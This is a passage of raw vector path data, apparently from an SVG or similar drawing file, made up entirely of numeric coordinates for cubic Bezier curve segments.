70512.00C187772.67 70512.00 187751.33 70512.00 187730.00 70512.00C187719.33 70533.33 187708.67 70554.67 187698.00 70576.00C187676.33 70576.00 187654.67 70576.00 187633.00 70576.00C187622.33 70586.67 187611.67 70597.33 187601.00 70608.00C187590.33 70629.33 187579.67 70650.67 187569.00 70672.00C187536.67 70672.00 187504.33 70672.00 187472.00 70672.00C187448.32 70695.98 187424.78 70720.09 187401.01 70743.99C187392.67 70752.32 187384.34 70760.66 187376.00 70769.00C187344.00 70769.00 187312.00 70769.00 187280.00 70769.00C187258.33 70790.33 187236.67 70811.67 187215.00 70833.00C187183.00 70833.00 187151.00 70833.00 187119.00 70833.00C187108.33 70854.67 187097.67 70876.33 187087.00 70898.00C187065.33 70887.00 187043.67 70876.00 187022.00 70865.00C187011.33 70876.00 187000.67 70887.00 186990.00 70898.00C186968.67 70898.00 186947.33 70898.00 186926.00 70898.00C186904.67 70908.67 186883.33 70919.33 186862.00 70930.00C186839.37 70918.81 186816.66 70907.77 186794.07 70896.49C186773.71 70885.99 186753.36 70875.50 186733.00 70865.00C186722.33 70854.33 186711.67 70843.67 186701.00 70833.00C186690.33 70833.00 186679.67 70833.00 186669.00 70833.00C186679.67 70822.33 186690.33 70811.67 186701.00 70801.00C186690.33 70790.33 186679.67 70779.67 186669.00 70769.00C186679.67 70747.67 186690.33 70726.33 186701.00 70705.00C186701.00 70683.33 186701.00 70661.67 186701.00 70640.00C186701.00 70650.67 186701.00 70661.33 186701.00 70672.00C186690.33 70650.67 186679.67 70629.33 186669.00 70608.00C186658.00 70608.00 186647.00 70608.00 186636.00 70608.00C186614.67 70629.33 186593.33 70650.67 186572.00 70672.00C186550.67 70661.33 186529.33 70650.67 186508.00 70640.00C186497.33 70661.67 186486.67 70683.33 186476.00 70705.00C186443.67 70705.00 186411.33 70705.00 186379.00 70705.00C186357.67 70683.33 186336.33 70661.67 186315.00 70640.00C186272.00 70650.67 186229.00 70661.33 186186.00 70672.00C186175.33 70661.33 186164.67 70650.67 186154.00 70640.00C186143.33 70650.67 186132.67 70661.33 186122.00 70672.00C186100.67 70672.00 186079.33 70672.00 186058.00 70672.00C186058.00 70683.00 186058.00 70694.00 186058.00 70705.00C186047.33 70726.33 186036.67 70747.67 186026.00 70769.00C185993.67 70769.00 185961.33 70769.00 185929.00 70769.00C185918.33 70779.67 185907.67 70790.33 185897.00 70801.00C185875.67 70811.67 185854.33 70822.33 185833.00 70833.00C185833.00 70843.67 185833.00 70854.33 185833.00 70865.00C185790.00 70865.00 185747.00 70865.00 185704.00 70865.00C185682.67 70886.67 185661.33 70908.33 185640.00 70930.00C185597.00 70919.33 185554.00 70908.67 185511.00 70898.00C185457.33 70908.67 185403.67 70919.33 185350.00 70930.00C185318.00 70972.67 185286.00 71015.33 185254.00 71058.00C185189.67 71079.67 185125.33 71101.33 185061.00 71123.00C185050.33 71144.33 185039.67 71165.67 185029.00 71187.00C185039.67 71208.33 185050.33 71229.67 185061.00 71251.00C185082.33 71261.67 185103.67 71272.33 185125.00 71283.00C185135.67 71304.67 185146.33 71326.33 185157.00 71348.00C185146.33 71358.67 185135.67 71369.33 185125.00 71380.00C185125.00 71390.67 185125.00 71401.33 185125.00 71412.00C185103.67 71433.33 185082.33 71454.67 185061.00 71476.00C185039.67 71486.67 185018.33 71497.33 184997.00 71508.00C184997.00 71519.00 184997.00 71530.00 184997.00 71541.00C184932.67 71541.00 184868.33 71541.00 184804.00 71541.00C184793.33 71551.67 184782.67 71562.33 184772.00 71573.00C184750.33 71573.00 184728.67 71573.00 184707.00 71573.00C184696.33 71605.00 184685.67 71637.00 184675.00 71669.00C184664.33 71679.67 184653.67 71690.33 184643.00 71701.00C184632.33 71701.00 184621.67 71701.00 184611.00 71701.00C184611.00 71722.67 184611.00 71744.33 184611.00 71766.00C184589.67 71787.33 184568.33 71808.67 184547.00 71830.00C184493.33 71830.00 184439.67 71830.00 184386.00 71830.00C184386.00 71851.33 184386.00 71872.67 184386.00 71894.00C184396.67 71904.67 184407.33 71915.33 184418.00 71926.00C184418.00 71958.33 184418.00 71990.67 184418.00 72023.00C184439.33 72023.00 184460.67 72023.00 184482.00 72023.00C184492.67 72033.67 184503.33 72044.33 184514.00 72055.00C184514.00 72076.33 184514.00 72097.67 184514.00 72119.00C184535.67 72129.67 184557.33 72140.33 184579.00 72151.00C184579.00 72162.00 184579.00 72173.00 184579.00 72184.00C184546.67 72194.67 184514.33 72205.33 184482.00 72216.00C184471.33 72205.33 184460.67 72194.67 184450.00 72184.00C184450.00 72194.67 184450.00 72205.33 184450.00 72216.00C184439.33 72216.00 184428.67 72216.00 184418.00 72216.00C184418.00 72205.33 184418.00 72194.67 184418.00 72184.00C184407.33 72184.00 184396.67 72184.00 184386.00 72184.00C184375.33 72173.00 184364.67 72162.00 184354.00 72151.00C184332.33 72162.00 184310.67 72173.00 184289.00 72184.00C184278.33 72184.00 184267.67 72184.00 184257.00 72184.00C184257.00 72194.67 184257.00 72205.33 184257.00 72216.00C184246.33 72205.33 184235.67 72194.67 184225.00 72184.00C184214.33 72194.67 184203.67 72205.33 184193.00 72216.00C184193.00 72205.33 184193.00 72194.67 184193.00 72184.00C184171.67 72205.33 184150.33 72226.67 184129.00 72248.00C184118.00 72269.33 184107.00 72290.67 184096.00 72312.00C184085.33 72322.67 184074.67 72333.33 184064.00 72344.00C184053.33 72344.00 184042.67 72344.00 184032.00 72344.00C184010.67 72333.33 183989.33 72322.67 183968.00 72312.00C183968.00 72322.67 183968.00 72333.33 183968.00 72344.00C183978.67 72355.00 183989.33 72366.00 184000.00 72377.00C183978.67 72398.33 183957.33 72419.67 183936.00 72441.00C183914.33 72430.33 183892.67 72419.67 183871.00 72409.00C183849.67 72419.67 183828.33 72430.33 183807.00 72441.00C183785.67 72441.00 183764.33 72441.00 183743.00 72441.00C183732.33 72430.33 183721.67 72419.67 183711.00 72409.00C183700.00 72430.33 183689.00 72451.67 183678.00 72473.00C183667.33 72462.33 183656.67 72451.67 183646.00 72441.00C183646.00 72419.67 183646.00 72398.33 183646.00 72377.00C183624.67 72377.00 183603.33 72377.00 183582.00 72377.00C183582.00 72387.67 183582.00 72398.33 183582.00 72409.00C183560.67 72419.67 183539.33 72430.33 183518.00 72441.00C183518.00 72451.67 183518.00 72462.33 183518.00 72473.00C183507.00 72473.00 183496.00 72473.00 183485.00 72473.00C183463.67 72494.33 183442.33 72515.67 183421.00 72537.00C183410.33 72526.33 183399.67 72515.67 183389.00 72505.00C183378.33 72505.00 183367.67 72505.00 183357.00 72505.00C183346.33 72526.67 183335.67 72548.33 183325.00 72570.00C183325.00 72580.67 183325.00 72591.33 183325.00 72602.00C183309.31 72617.63 183293.80 72633.43 183277.80 72648.74C183271.86 72654.49 183265.93 72660.25 183260.00 72666.00C183153.00 72698.00 183046.00 72730.00 182939.00 72762.00C182939.00 72805.00 182939.00 72848.00 182939.00 72891.00C182949.67 72891.00 182960.33 72891.00 182971.00 72891.00C182971.00 72912.33 182971.00 72933.67 182971.00 72955.00C182960.33 72955.00 182949.67 72955.00 182939.00 72955.00C182917.67 72965.67 182896.33 72976.33 182875.00 72987.00C182864.00 72987.00 182853.00 72987.00 182842.00 72987.00C182820.67 72998.00 182799.33 73009.00 182778.00 73020.00C182778.00 72998.33 182778.00 72976.67 182778.00 72955.00C182767.33 72955.00 182756.67 72955.00 182746.00 72955.00C182746.00 72944.33 182746.00 72933.67 182746.00 72923.00C182735.33 72933.67 182724.67 72944.33 182714.00 72955.00C182714.00 72944.33 182714.00 72933.67 182714.00 72923.00C182703.33 72933.67 182692.67 72944.33 182682.00 72955.00C182671.00 72944.33 182660.00 72933.67 182649.00 72923.00C182649.00 72912.33 182649.00 72901.67 182649.00 72891.00C182638.33 72891.00 182627.67 72891.00 182617.00 72891.00C182606.33 72880.33 182595.67 72869.67 182585.00 72859.00C182585.00 72869.67 182585.00 72880.33 182585.00 72891.00C182563.67 72880.33 182542.33 72869.67 182521.00 72859.00C182488.67 72816.00 182456.33 72773.00 182424.00 72730.00C182402.67 72719.33 182381.33 72708.67 182360.00 72698.00C182263.67 72687.33 182167.33 72676.67 182071.00 72666.00C182006.67 72698.00 181942.33 72730.00 181878.00 72762.00C181813.67 72762.00 181749.33 72762.00 181685.00 72762.00C181674.33 72740.67 181663.67 72719.33 181653.00 72698.00C181642.33 72687.33 181631.67 72676.67 181621.00 72666.00C181588.67 72666.00 181556.33 72666.00 181524.00 72666.00C181513.33 72676.67 181502.67 72687.33 181492.00 72698.00C181502.67 72698.00 181513.33 72698.00 181524.00 72698.00C181492.00 72708.67 181460.00 72719.33 181428.00 72730.00C181417.33 72730.00 181406.67 72730.00 181396.00 72730.00C181374.33 72751.67 181352.67 72773.33 181331.00 72795.00C181309.67 72837.67 181288.33 72880.33 181267.00 72923.00C181277.67 72933.67 181288.33 72944.33 181299.00 72955.00C181299.00 72965.67 181299.00 72976.33 181299.00 72987.00C181267.00 73008.67 181235.00 73030.33 181203.00 73052.00C181203.00 73073.33 181203.00 73094.67 181203.00 73116.00C181213.67 73126.67 181224.33 73137.33 181235.00 73148.00C181235.00 73158.67 181235.00 73169.33 181235.00 73180.00C181224.33 73180.00 181213.67 73180.00 181203.00 73180.00C181192.00 73191.00 181181.00 73202.00 181170.00 73213.00C181159.33 73213.00 181148.67 73213.00 181138.00 73213.00C181106.00 73180.67 181074.00 73148.33 181042.00 73116.00C180999.00 73094.67 180956.00 73073.33 180913.00 73052.00C180881.00 72998.33 180849.00 72944.67 180817.00 72891.00C180774.00 72891.00 180731.00 72891.00 180688.00 72891.00C180677.33 72869.67 180666.67 72848.33 180656.00 72827.00C180656.00 72848.33 180656.00 72869.67 180656.00 72891.00C180645.33 72869.67 180634.67 72848.33 180624.00 72827.00C180634.67 72794.67 180645.33 72762.33 180656.00 72730.00C180624.00 72687.33 180592.00 72644.67 180560.00 72602.00C180549.00 72591.33 180538.00 72580.67 180527.00 72570.00C180484.33 72548.33 180441.67 72526.67 180399.00 72505.00C180388.33 72505.00 180377.67 72505.00 180367.00 72505.00C180345.33 72537.33 180323.67 72569.67 180302.00 72602.00C180280.61 72612.72 180259.17 72623.37 180237.80 72634.13C180205.54 72655.42 180173.27 72676.71 180141.00 72698.00C180130.33 72687.33 180119.67 72676.67 180109.00 72666.00C180109.00 72634.00 180109.00 72602.00 180109.00 72570.00C180130.67 72548.33 180152.33 72526.67 180174.00 72505.00C180109.67 72462.33 180045.33 72419.67 179981.00 72377.00C179959.33 72387.67 179937.67 72398.33 179916.00 72409.00C179884.00 72441.00 179852.00 72473.00 179820.00 72505.00C179820.00 72451.33 179820.00 72397.67 179820.00 72344.00C179809.33 72344.00 179798.67 72344.00 179788.00 72344.00C179777.33 72322.67 179766.67 72301.33 179756.00 72280.00C179756.00 72258.67 179756.00 72237.33 179756.00 72216.00C179702.33 72162.33 179648.67 72108.67 179595.00 72055.00C179562.60 72011.95 179530.27 71968.85 179497.83 71925.83C179476.56 71904.56 179455.28 71883.28 179434.00 71862.00C179434.00 71840.67 179434.00 71819.33 179434.00 71798.00C179412.67 71798.00 179391.33 71798.00 179370.00 71798.00C179359.33 71776.67 179348.67 71755.33 179338.00 71734.00C179230.67 71691.00 179123.33 71648.00 179016.00 71605.00C178994.59 71583.63 178973.26 71562.18 178951.80 71540.87C178919.54 71519.25 178887.27 71497.62 178855.00 71476.00C178801.67 71476.00 178748.33 71476.00 178695.00 71476.00C178652.00 71433.33 178609.00 71390.67 178566.00 71348.00C178576.67 71337.00 178587.33 71326.00 178598.00 71315.00C178598.00 71272.33 178598.00 71229.67 178598.00 71187.00C178566.00 71187.00 178534.00 71187.00 178502.00 71187.00C178480.33 71176.33 178458.67 71165.67 178437.00 71155.00C178426.33 71155.00 178415.67 71155.00 178405.00 71155.00C178383.67 71144.33 178362.33 71133.67 178341.00 71123.00C178308.67 71155.00 178276.33 71187.00 178244.00 71219.00C178212.00 71208.33 178180.00 71197.67 178148.00 71187.00C178126.67 71197.67 178105.33 71208.33 178084.00 71219.00C178062.33 71240.33 178040.67 71261.67 178019.00 71283.00C178008.33 71304.67 177997.67 71326.33 177987.00 71348.00C177997.67 71358.67 178008.33 71369.33 178019.00 71380.00C178008.33 71390.67 177997.67 71401.33 177987.00 71412.00C177944.33 71412.00 177901.67 71412.00 177859.00 71412.00C177837.33 71401.33 177815.67 71390.67 177794.00 71380.00C177783.33 71369.33 177772.67 71358.67 177762.00 71348.00C177772.67 71337.00 177783.33 71326.00 177794.00 71315.00C177794.00 71304.33 177794.00 71293.67 177794.00 71283.00C177751.33 71304.67 177708.67 71326.33 177666.00 71348.00C177666.00 71326.33 177666.00 71304.67 177666.00 71283.00C177644.33 71293.67 177622.67 71304.33 177601.00 71315.00C177601.00 71304.33 177601.00 71293.67 177601.00 71283.00C177617.04 71267.39 177633.25 71251.96 177648.97 71236.03C177654.65 71230.35 177660.32 71224.68 177666.00 71219.00C177666.00 71187.00 177666.00 71155.00 177666.00 71123.00C177644.33 71112.00 177622.67 71101.00 177601.00 71090.00C177590.33 71068.67 177579.67 71047.33 177569.00 71026.00C177569.00 71015.33 177569.00 71004.67 177569.00 70994.00C177547.67 70972.67 177526.33 70951.33 177505.00 70930.00C177494.33 70908.33 177483.67 70886.67 177473.00 70865.00C177462.33 70854.33 177451.67 70843.67 177441.00 70833.00C177441.00 70822.33 177441.00 70811.67 177441.00 70801.00C177430.00 70801.00 177419.00 70801.00 177408.00 70801.00C177397.33 70790.33 177386.67 70779.67 177376.00 70769.00C177376.00 70747.67 177376.00 70726.33 177376.00 70705.00C177354.67 70683.33 177333.33 70661.67 177312.00 70640.00C177301.33 70650.67 177290.67 70661.33 177280.00 70672.00C177258.67 70672.00 177237.33 70672.00 177216.00 70672.00C177183.67 70704.33 177151.33 70736.67 177119.00 70769.00C177108.33 70769.00 177097.67 70769.00 177087.00 70769.00C177055.00 70790.33 177023.00 70811.67 176991.00 70833.00C177001.67 70843.67 177012.33 70854.33 177023.00 70865.00C177023.00 70886.67 177023.00 70908.33 177023.00 70930.00C177001.33 70951.33 176979.67 70972.67 176958.00 70994.00C176969.00 71004.67 176980.00 71015.33 176991.00 71026.00C176980.00 71090.33 176969.00 71154.67 176958.00 71219.00C176947.33 71229.67 176936.67 71240.33 176926.00 71251.00C176915.33 71272.33 176904.67 71293.67 176894.00 71315.00C176872.67 71336.67 176851.33 71358.33 176830.00 71380.00C176808.33 71390.67 176786.67 71401.33 176765.00 71412.00C176764.95 71422.74 176765.10 71433.51 176764.93 71444.22C176754.28 71476.48 176743.64 71508.74 176733.00 71541.00C176722.33 71530.00 176711.67 71519.00 176701.00 71508.00C176679.67 71519.00 176658.33 71530.00 176637.00 71541.00C176626.33 71562.33 176615.67 71583.67 176605.00 71605.00C176562.00 71648.00 176519.00 71691.00 176476.00 71734.00C176465.33 71755.33 176454.67 71776.67 176444.00 71798.00C176422.67 71819.33 176401.33 71840.67 176380.00 71862.00C176380.00 71872.67 176380.00 71883.33 176380.00 71894.00C176358.33 71915.67 176336.67 71937.33 176315.00 71959.00C176304.33 71991.00 176293.67 72023.00 176283.00 72055.00C176261.67 72065.67 176240.33 72076.33 176219.00 72087.00C176165.33 72087.00 176111.67 72087.00 176058.00 72087.00C176047.33 72108.33 176036.67 72129.67 176026.00 72151.00C175993.67 72151.00 175961.33 72151.00 175929.00 72151.00C175907.67 72162.00 175886.33 72173.00 175865.00 72184.00C175822.33 72184.00 175779.67 72184.00 175737.00 72184.00C175720.96 72199.61 175704.75 72215.04 175689.03 72230.97C175629.68 72290.32 175570.34 72349.66 175511.00 72409.00C175489.67 72451.67 175468.33 72494.33 175447.00 72537.00C175447.00 72569.33 175447.00 72601.67 175447.00 72634.00C175404.33 72676.67 175361.67 72719.33 175319.00 72762.00C175286.67 72773.00 175254.33 72784.00 175222.00 72795.00C175168.33 72848.33 175114.67 72901.67 175061.00 72955.00C175039.63 72890.60 175018.32 72826.17 174996.90 72761.79C174943.27 72644.19 174889.63 72526.60 174836.00 72409.00C174846.67 72387.33 174857.33 72365.67 174868.00 72344.00C174846.67 72290.67 174825.33 72237.33 174804.00 72184.00C174782.67 72151.67 174761.33 72119.33 174740.00 72087.00C174718.67 72065.67 174697.33 72044.33 174676.00 72023.00C174665.00 71980.00 174654.00 71937.00 174643.00 71894.00C174675.33 71862.00 174707.67 71830.00 174740.00 71798.00C174718.67 71798.00 174697.33 71798.00 174676.00 71798.00C174665.00 71776.67 174654.00 71755.33 174643.00 71734.00C174654.00 71712.33 174665.00 71690.67 174676.00 71669.00C174708.00 71647.67 174740.00 71626.33 174772.00 71605.00C174782.67 71594.33 174793.33 71583.67 174804.00 71573.00C174803.95 71562.26 174804.10 71551.49 174803.93 71540.78C174793.28 71508.52 174782.64 71476.26 174772.00 71444.00C174740.00 71412.00 174708.00 71380.00 174676.00 71348.00C174676.00 71326.33 174676.00 71304.67 174676.00 71283.00C174643.67 71283.00 174611.33 71283.00 174579.00 71283.00C174557.67 71293.67 174536.33 71304.33 174515.00 71315.00C174504.33 71315.00 174493.67 71315.00 174483.00 71315.00C174407.67 71390.33 174332.33 71465.67 174257.00 71541.00C174224.93 71529.96 174192.84 71518.99 174160.79 71507.90C174127.81 71491.41 174094.87 71474.84 174061.75 71458.64C174051.78 71453.70 174041.74 71448.86 174031.81 71443.86C173989.16 71411.84 173946.45 71379.89 173903.83 71347.83C173871.56 71315.56 173839.28 71283.28 173807.00 71251.00C173785.64 71218.93 173764.21 71186.89 173742.90 71154.79C173732.26 71133.19 173721.63 71111.60 173711.00 71090.00C173711.00 71079.33 173711.00 71068.67 173711.00 71058.00C173721.67 71047.33 173732.33 71036.67 173743.00 71026.00C173743.00 71015.33 173743.00 71004.67 173743.00 70994.00C173753.81 70983.26 173764.50 70972.38 173775.38 70961.72C173818.25 70929.48 173861.13 70897.24 173904.00 70865.00C173914.67 70843.67 173925.33 70822.33 173936.00 70801.00C173946.67 70758.00 173957.33 70715.00 173968.00 70672.00C173946.60 70650.63 173925.25 70629.19 173903.81 70607.86C173860.87 70575.91 173817.94 70543.95 173775.00 70512.00C173710.67 70501.00 173646.33 70490.00 173582.00 70479.00C173550.00 70490.00 173518.00 70501.00 173486.00 70512.00C173432.30 70597.74 173378.56 70683.45 173324.89 70769.21C173314.26 70790.47 173303.63 70811.74 173293.00 70833.00C173293.00 70929.67 173293.00 71026.33 173293.00 71123.00C173271.67 71165.67 173250.33 71208.33 173229.00 71251.00C173218.00 71251.00 173207.00 71251.00 173196.00 71251.00C173174.67 71261.67 173153.33 71272.33 173132.00 71283.00C173089.33 71261.67 173046.67 71240.33 173004.00 71219.00C172973.11 71157.63 172942.08 71096.35 172911.43 71034.86C172909.99 71031.82 172908.26 71028.85 172907.00 71025.76C172907.00 70993.84 172907.00 70961.92 172907.00 70930.00C172896.30 70876.26 172885.67 70822.50 172874.93 70768.78C172864.28 70736.52 172853.64 70704.26 172843.00 70672.00C172821.33 70650.67 172799.67 70629.33 172778.00 70608.00C172746.00 70597.33 172714.00 70586.67 172682.00 70576.00C172639.00 70533.00 172596.00 70490.00 172553.00 70447.00C172510.29 70414.94 172467.51 70382.94 172424.83 70350.83C172414.22 70340.22 172403.61 70329.61 172393.00 70319.00C172381.85 70318.96 172370.68 70319.09 172359.53 70318.93C172284.69 70308.29 172209.84 70297.65 172135.00 70287.00C172113.67 70287.00 172092.33 70287.00 172071.00 70287.00C172049.67 70297.67 172028.33 70308.33 172007.00 70319.00C171942.67 70329.67 171878.33 70340.33 171814.00 70351.00C171781.67 70361.67 171749.33 70372.33 171717.00 70383.00C171695.67 70383.00 171674.33 70383.00 171653.00 70383.00C171642.33 70372.33 171631.67 70361.67 171621.00 70351.00C171599.67 70340.33 171578.33 70329.67 171557.00 70319.00C171535.33 70276.00 171513.67 70233.00 171492.00 70190.00C171449.33 70168.67 171406.67 70147.33 171364.00 70126.00C171342.33 70104.67 171320.67 70083.33 171299.00 70062.00C171288.26 70061.96 171277.50 70062.08 171266.77 70061.94C171222.58 70050.58 171178.42 70039.10 171134.20 70027.81C171092.57 70017.51 171050.95 70007.11 171009.31 69996.86C170955.65 69986.17 170901.96 69975.57 170848.32 69964.83C170805.88 69954.22 170763.44 69943.61 170721.00 69933.00C170721.00 69922.33 170721.00 69911.67 170721.00 69901.00C170699.33 69879.33 170677.67 69857.67 170656.00 69836.00C170640.39 69852.04 170624.96 69868.25 170609.03 69883.97C170603.35 69889.65 170597.68 69895.32 170592.00 69901.00C170560.00 69911.67 170528.00 69922.33 170496.00 69933.00C170463.67 69922.33 170431.33 69911.67 170399.00 69901.00C170399.00 69911.67 170399.00 69922.33 170399.00 69933.00C170388.33 69933.00 170377.67 69933.00 170367.00 69933.00C170345.67 69911.67 170324.33 69890.33 170303.00 69869.00C170292.00 69847.33 170281.00 69825.67 170270.00 69804.00C170270.00 69739.67 170270.00 69675.33 170270.00 69611.00C170281.00 69600.33 170292.00 69589.67 170303.00 69579.00C170292.00 69557.67 170281.00 69536.33 170270.00 69515.00C170259.33 69504.33 170248.67 69493.67 170238.00 69483.00C170216.67 69472.33 170195.33 69461.67 170174.00 69451.00C170163.33 69418.67 170152.67 69386.33 170142.00 69354.00C170142.00 69332.67 170142.00 69311.33 170142.00 69290.00C170131.33 69268.67 170120.67 69247.33 170110.00 69226.00C170099.33 69215.00 170088.67 69204.00 170078.00 69193.00C169992.00 69193.00 169906.00 69193.00 169820.00 69193.00C169777.33 69150.33 169734.67 69107.67 169692.00 69065.00C169670.33 69065.00 169648.67 69065.00 169627.00 69065.00C169584.33 69075.67 169541.67 69086.33 169499.00 69097.00C169488.33 69097.00 169477.67 69097.00 169467.00 69097.00C169456.00 69129.00 169445.00 69161.00 169434.00 69193.00C169391.33 69193.00 169348.67 69193.00 169306.00 69193.00C169295.33 69204.00 169284.67 69215.00 169274.00 69226.00C169274.00 69247.33 169274.00 69268.67 169274.00 69290.00C169241.67 69311.33 169209.33 69332.67 169177.00 69354.00C169112.67 69375.33 169048.33 69396.67 168984.00 69418.00C168973.33 69429.00 168962.67 69440.00 168952.00 69451.00C168909.33 69461.67 168866.67 69472.33 168824.00 69483.00C168807.96 69498.61 168791.75 69514.04 168776.03 69529.97C168770.35 69535.65 168764.68 69541.32 168759.00 69547.00C168759.00 69557.67 168759.00 69568.33 168759.00 69579.00C168694.67 69600.33 168630.33 69621.67 168566.00 69643.00C168534.00 69643.00 168502.00 69643.00 168470.00 69643.00C168437.67 69654.00 168405.33 69665.00 168373.00 69676.00C168309.00 69676.00 168245.00 69676.00 168181.00 69676.00C168170.00 69708.00 168159.00 69740.00 168148.00 69772.00C168169.67 69815.00 168191.33 69858.00 168213.00 69901.00C168223.67 69954.67 168234.33 70008.33 168245.00 70062.00C168245.00 70094.00 168245.00 70126.00 168245.00 70158.00C168255.67 70190.00 168266.33 70222.00 168277.00 70254.00C168261.39 70270.04 168245.96 70286.25 168230.03 70301.97C168213.68 70318.32 168197.34 70334.66 168181.00 70351.00C168159.26 70350.98 168137.51 70351.04 168115.77 70350.97C168040.84 70340.31 167965.92 70329.66 167891.00 70319.00C167826.67 70361.67 167762.33 70404.33 167698.00 70447.00C167676.67 70447.00 167655.33 70447.00 167634.00 70447.00C167612.67 70436.33 167591.33 70425.67 167570.00 70415.00C167483.93 70436.37 167397.84 70457.68 167311.78 70479.08C167279.85 70490.05 167247.93 70501.02 167216.00 70512.00C167205.33 70522.67 167194.67 70533.33 167184.00 70544.00C167184.00 70586.67 167184.00 70629.33 167184.00 70672.00C167216.00 70736.33 167248.00 70800.67 167280.00 70865.00C167290.67 70908.00 167301.33 70951.00 167312.00 70994.00C167280.00 71058.33 167248.00 71122.67 167216.00 71187.00C167194.67 71197.67 167173.33 71208.33 167152.00 71219.00C167141.00 71251.00 167130.00 71283.00 167119.00 71315.00C167108.14 71326.25 167097.17 71337.40 167086.39 71348.71C167022.26 71423.48 166958.13 71498.24 166894.00 71573.00C166861.93 71583.71 166829.83 71594.34 166797.79 71605.10C166776.53 71615.74 166755.26 71626.37 166734.00 71637.00C166626.67 71637.00 166519.33 71637.00 166412.00 71637.00C166369.00 71680.00 166326.00 71723.00 166283.00 71766.00C166219.00 71798.00 166155.00 71830.00 166091.00 71862.00C166037.33 71862.00 165983.67 71862.00 165930.00 71862.00C165919.33 71840.67 165908.67 71819.33 165898.00 71798.00C165865.67 71776.67 165833.33 71755.33 165801.00 71734.00C165769.00 71701.67 165737.00 71669.33 165705.00 71637.00C165694.33 71637.00 165683.67 71637.00 165673.00 71637.00C165662.00 71626.33 165651.00 71615.67 165640.00 71605.00C165608.00 71605.00 165576.00 71605.00 165544.00 71605.00C165501.00 71648.00 165458.00 71691.00 165415.00 71734.00C165393.66 71798.08 165372.25 71862.14 165350.95 71926.23C165340.30 71979.82 165329.65 72033.41 165319.00 72087.00C165329.67 72130.00 165340.33 72173.00 165351.00 72216.00C165340.33 72248.08 165329.57 72280.14 165318.96 72312.23C165297.64 72430.15 165276.32 72548.08 165255.00 72666.00C165233.33 72687.33 165211.67 72708.67 165190.00 72730.00C165168.67 72794.33 165147.33 72858.67 165126.00 72923.00C165126.00 72966.00 165126.00 73009.00 165126.00 73052.00C165083.00 73094.67 165040.00 73137.33 164997.00 73180.00C164986.26 73179.95 164975.49 73180.10 164964.78 73179.93C164932.85 73169.28 164900.93 73158.64 164869.00 73148.00C164836.67 73116.00 164804.33 73084.00 164772.00 73052.00C164750.67 73052.00 164729.33 73052.00 164708.00 73052.00C164686.67 73073.33 164665.33 73094.67 164644.00 73116.00C164611.61 73180.39 164579.30 73244.83 164546.87 73309.20C164525.58 73341.13 164504.29 73373.07 164483.00 73405.00C164472.33 73394.33 164461.67 73383.67 164451.00 73373.00C164418.67 73362.33 164386.33 73351.67 164354.00 73341.00C164332.67 73341.00 164311.33 73341.00 164290.00 73341.00C164257.67 73351.67 164225.33 73362.33 164193.00 73373.00C164182.33 73383.67 164171.67 73394.33 164161.00 73405.00C164150.33 73448.00 164139.67 73491.00 164129.00 73534.00C164118.33 73534.00 164107.67 73534.00 164097.00 73534.00C164074.86 73556.19 164052.62 73578.28 164030.54 73600.53C164020.70 73610.69 164010.85 73620.85 164001.00 73631.00C163968.67 73631.00 163936.33 73631.00 163904.00 73631.00C163850.33 73652.33 163796.67 73673.67 163743.00 73695.00C163671.50 73677.12 163600.00 73659.22 163528.45 73641.53C163514.30 73638.02 163500.15 73634.51 163486.00 73631.00C163432.33 73598.67 163378.67 73566.33 163325.00 73534.00C163314.33 73523.33 163303.67 73512.67 163293.00 73502.00C163250.33 73502.00 163207.67 73502.00 163165.00 73502.00C163122.00 73523.33 163079.00 73544.67 163036.00 73566.00C163057.33 73523.33 163078.67 73480.67 163100.00 73438.00C163100.00 73405.67 163100.00 73373.33 163100.00 73341.00C163121.67 73330.33 163143.33 73319.67 163165.00 73309.00C163175.67 73309.00 163186.33 73309.00 163197.00 73309.00C163197.00 73277.00 163197.00 73245.00 163197.00 73213.00C163186.33 73191.33 163175.67 73169.67 163165.00 73148.00C163186.33 73126.67 163207.67 73105.33 163229.00 73084.00C163218.33 73062.67 163207.67 73041.33 163197.00 73020.00C163207.67 73009.00 163218.33 72998.00 163229.00 72987.00C163196.67 72944.33 163164.33 72901.67 163132.00 72859.00C163143.00 72848.33 163154.00 72837.67 163165.00 72827.00C163175.67 72827.00 163186.33 72827.00 163197.00 72827.00C163197.00 72816.33 163197.00 72805.67 163197.00 72795.00C163229.00 72805.67 163261.00 72816.33 163293.00 72827.00C163314.33 72816.33 163335.67 72805.67 163357.00 72795.00C163357.00 72773.33 163357.00 72751.67 163357.00 72730.00C163389.33 72719.33 163421.67 72708.67 163454.00 72698.00C163464.67 72687.33 163475.33 72676.67 163486.00 72666.00C163486.00 72644.67 163486.00 72623.33 163486.00 72602.00C163475.33 72602.00 163464.67 72602.00 163454.00 72602.00C163454.00 72580.33 163454.00 72558.67 163454.00 72537.00C163443.33 72515.67 163432.67 72494.33 163422.00 72473.00C163443.33 72441.00 163464.67 72409.00 163486.00 72377.00C163486.00 72366.00 163486.00 72355.00 163486.00 72344.00C163496.67 72322.67 163507.33 72301.33 163518.00 72280.00C163518.00 72248.00 163518.00 72216.00 163518.00 72184.00C163528.67 72162.33 163539.33 72140.67 163550.00 72119.00C163528.67 72108.33 163507.33 72097.67 163486.00 72087.00C163475.33 72065.67 163464.67 72044.33 163454.00 72023.00C163411.00 72023.00 163368.00 72023.00 163325.00 72023.00C163292.93 72001.64 163260.89 71980.22 163228.79 71958.89C163207.53 71947.93 163186.26 71936.96 163165.00 71926.00C163154.00 71926.00 163143.00 71926.00 163132.00 71926.00C163132.00 71904.67 163132.00 71883.33 163132.00 71862.00C163121.33 71862.00 163110.67 71862.00 163100.00 71862.00C163078.67 71851.33 163057.33 71840.67 163036.00 71830.00C163014.67 71840.67 162993.33 71851.33 162972.00 71862.00C162972.00 71851.33 162972.00 71840.67 162972.00 71830.00C162950.33 71830.00 162928.67 71830.00 162907.00 71830.00C162896.33 71808.67 162885.67 71787.33 162875.00 71766.00C162853.67 71755.33 162832.33 71744.67 162811.00 71734.00C162821.67 71712.33 162832.33 71690.67 162843.00 71669.00C162832.33 71658.33 162821.67 71647.67 162811.00 71637.00C162811.00 71605.00 162811.00 71573.00 162811.00 71541.00C162800.33 71530.00 162789.67 71519.00 162779.00 71508.00C162779.00 71486.67 162779.00 71465.33 162779.00 71444.00C162762.43 71410.89 162745.96 71377.72 162729.11 71344.75C162713.19 71313.61 162697.66 71282.27 162682.00 71251.00C162682.00 71197.33 162682.00 71143.67 162682.00 71090.00C162660.67 71090.00 162639.33 71090.00 162618.00 71090.00C162618.00 71047.33 162618.00 71004.67 162618.00 70962.00C162585.67 70951.33 162553.33 70940.67 162521.00 